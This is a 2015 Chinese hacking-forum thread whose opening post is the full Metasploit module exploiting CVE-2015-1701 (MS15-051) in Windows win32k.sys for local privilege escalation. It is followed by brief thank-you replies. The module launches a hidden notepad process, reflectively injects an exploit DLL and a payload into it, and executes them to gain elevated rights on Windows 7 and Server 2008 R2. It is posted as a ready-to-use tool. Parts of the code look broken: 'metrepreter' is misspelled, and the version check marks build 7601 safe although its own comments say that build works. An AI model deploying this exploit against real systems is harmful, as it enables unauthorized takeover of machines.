查看: 130438|回复: 345

Windows ClientCopyImage Win32k Exploit

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2015-6-26 19:34:28 | 显示全部楼层 |阅读模式
    [C] 纯文本查看 复制代码
    ##
    # This module requires Metasploit: [url]http://metasploit.com/download[/url]
    # Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
    ##
     
    require 'msf/core'
    require 'msf/core/post/windows/reflective_dll_injection'
    require 'rex'
     
    class Metasploit3 < Msf::Exploit::Local
      Rank = NormalRanking
     
      include Msf::Post::File
      include Msf::Post::Windows::Priv
      include Msf::Post::Windows::Process
      include Msf::Post::Windows::FileInfo
      include Msf::Post::Windows::ReflectiveDLLInjection
     
      def initialize(info={})
        super(update_info(info, {
          'Name'            => 'Windows ClientCopyImage Win32k Exploit',
          'Description'     => %q{
            This module exploits improper object handling in the win32k.sys kernel mode driver.
            This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
            Windows 2008 R2 SP1 x64.
          },
          'License'         => MSF_LICENSE,
          'Author'          => [
              'Unknown',    # vulnerability discovery and exploit in the wild
              'hfirefox',   # Code released on github
              'OJ Reeves'   # msf module
            ],
          'Arch'            => [ ARCH_X86, ARCH_X86_64 ],
          'Platform'        => 'win',
          'SessionTypes'    => [ 'metrepreter' ],
          'DefaultOptions'  => {
              'EXITFUNC'    => 'thread',
            },
          'Targets'         => [
              [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
              [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
            ],
          'Payload'         => {
              'Space'       => 4096,
              'DisableNops' => true
            },
          'References'      => [
              ['CVE', '2015-1701'],
              ['MSB', 'MS15-051'],
              ['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
              ['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
              ['URL', 'https://technet.microsoft.com/library/security/MS15-051']
            ],
          'DisclosureDate'  => 'May 12 2015',
          'DefaultTarget'   => 0
        }))
      end
     
      def check
        # Windows Server 2008 Enterprise SP2 (32-bit)  6.0.6002.18005 (Does not work)
        # Winodws 7 SP1 (64-bit)                       6.1.7601.17514 (Works)
        # Windows 7 SP1 (32-bit)                       6.1.7601.17514 (Works)
        # Windows Server 2008 R2 (64-bit) SP1          6.1.7601.17514 (Works)
     
        if sysinfo['OS'] !~ /windows/i
          return Exploit::CheckCode::Unknown
        end
     
        if sysinfo['Architecture'] =~ /(wow|x)64/i
          arch = ARCH_X86_64
        elsif sysinfo['Architecture'] =~ /x86/i
          arch = ARCH_X86
        end
     
        file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
        major, minor, build, revision, branch = file_version(file_path)
        vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
     
        return Exploit::CheckCode::Safe if build == 7601
     
        return Exploit::CheckCode::Detected
      end
     
      def exploit
        if is_system?
          fail_with(Failure::None, 'Session is already elevated')
        end
     
        if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
          fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
        end
     
        if sysinfo['Architecture'] =~ /wow64/i
          fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
        elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
          fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
        elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
          fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
        end
     
        print_status('Launching notepad to host the exploit...')
        notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
        begin
          process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
          print_good("Process #{process.pid} launched.")
        rescue Rex::Post::Metrepreter::RequestError
          # Reader Sandbox won't allow to create a new process:
          # stdapi_sys_process_execute: Operation failed: Access is denied.
          print_status('Operation failed. Trying to elevate the current process...')
          process = client.sys.process.open
        end
     
        print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
        if target.arch.first == ARCH_X86
          dll_file_name = 'cve-2015-1701.x86.dll'
        else
          dll_file_name = 'cve-2015-1701.x64.dll'
        end
     
        library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name)
        library_path = ::File.expand_path(library_path)
     
        print_status("Injecting exploit into #{process.pid}...")
        exploit_mem, offset = inject_dll_into_process(process, library_path)
     
        print_status("Exploit injected. Injecting payload into #{process.pid}...")
        payload_mem = inject_into_process(process, payload.encoded)
     
        # invoke the exploit, passing in the address of the payload that
        # we want invoked on successful exploitation.
        print_status('Payload injected. Executing exploit...')
        process.thread.create(exploit_mem + offset, payload_mem)
     
        print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
      end
     
    end
    回复

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-6-27 06:31:21 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-27 06:36:26 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 01:31:08 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2015-6-30 21:44:08 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 13:38:04 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 19:02:24 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 07:28:53 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 09:35:31 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2015-7-2 14:40:47 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 00:40 , Processed in 0.028312 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部